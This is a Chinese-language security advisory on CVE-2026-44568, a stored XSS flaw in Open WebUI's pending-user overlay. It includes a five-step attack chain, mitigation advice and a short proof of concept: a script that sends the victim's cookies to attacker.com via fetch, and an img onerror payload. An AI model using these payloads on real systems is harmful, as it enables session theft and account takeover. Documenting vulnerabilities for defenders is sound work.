IPBUF安全漏洞报告
English
CVE-2026-44568 CVSS 4.8 中危

CVE-2026-44568 Open WebUI 存储型XSS漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44568
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

XSSStored XSSOpen WebUICWE-79CVSS-4.8

漏洞概述

Open WebUI 0.9.0 之前的版本存在存储型 XSS 漏洞。由于 AccountPending.svelte 组件在渲染管理员配置的内容时,DOMPurify 应用顺序不正确,导致管理员可注入恶意 JavaScript。当待定用户查看覆盖页面时,恶意脚本将在其浏览器中执行,存在安全风险。

技术细节

该漏洞源于 Open WebUI 前端组件 `AccountPending.svelte` 的安全机制缺陷。在处理管理员配置的“Pending User Overlay Content”时,组件首先使用 `marked.parse()` 将 Markdown 转换为 HTML,随后通过 Svelte 的 `{@html}` 指令插入 DOM。虽然代码中引入了 `DOMPurify` 库以防止 XSS,但由于其应用逻辑存在顺序错误或配置不当(例如在 `marked.parse` 之后未能有效清洗特定上下文),导致攻击者可以绕过防护。由于该字段仅限高权限管理员配置,攻击门槛较高。一旦管理员在字段中注入恶意脚本(如 `<script>` 或事件处理器),任何访问待定用户页面的用户都会触发脚本执行。这允许攻击者以受害用户身份执行操作,窃取 Session ID,或进行钓鱼攻击,严重威胁用户隐私和系统安全。

攻击链分析

STEP 1
步骤1:获取管理员权限
攻击者首先需要获取 Open WebUI 平台的管理员账户权限,因为该漏洞需要管理员配置才能触发。
STEP 2
步骤2:注入恶意载荷
管理员登录后台,在“Pending User Overlay Content”(待定用户覆盖内容)配置框中输入恶意的 JavaScript 代码或 HTML 标签。
STEP 3
步骤3:保存配置
系统保存该配置。由于 DOMPurify 应用顺序错误,恶意代码未被正确清洗,被存储在服务器端。
STEP 4
步骤4:诱导受害者访问
等待或诱导一个处于“待定”状态的用户登录系统并访问相关页面。
STEP 5
步骤5:执行攻击
当待定用户的浏览器渲染 AccountPending.svelte 组件时,嵌入的恶意脚本在受害者浏览器上下文中执行,窃取敏感信息或执行恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-44568 Admin injects the following payload into the "Pending User Overlay Content" configuration field. --> <script> // Example: Steal the pending user's cookies fetch('https://attacker.com/log?' + encodeURIComponent(document.cookie)) .then(response => console.log('Data exfiltrated')); </script> <!-- Alternatively, using an image tag if script tags are filtered by basic browser parsing but execution still occurs via event handlers --> <img src=x onerror="alert('XSS via CVE-2026-44568'); console.log(document.cookie);">

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即将 Open WebUI 升级至 0.9.0 或更高版本以修复此漏洞。在无法立即升级的情况下,应严格审查管理员权限,确保所有管理员账号可信,并暂时禁用“Pending User Overlay Content”功能(如果支持),以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表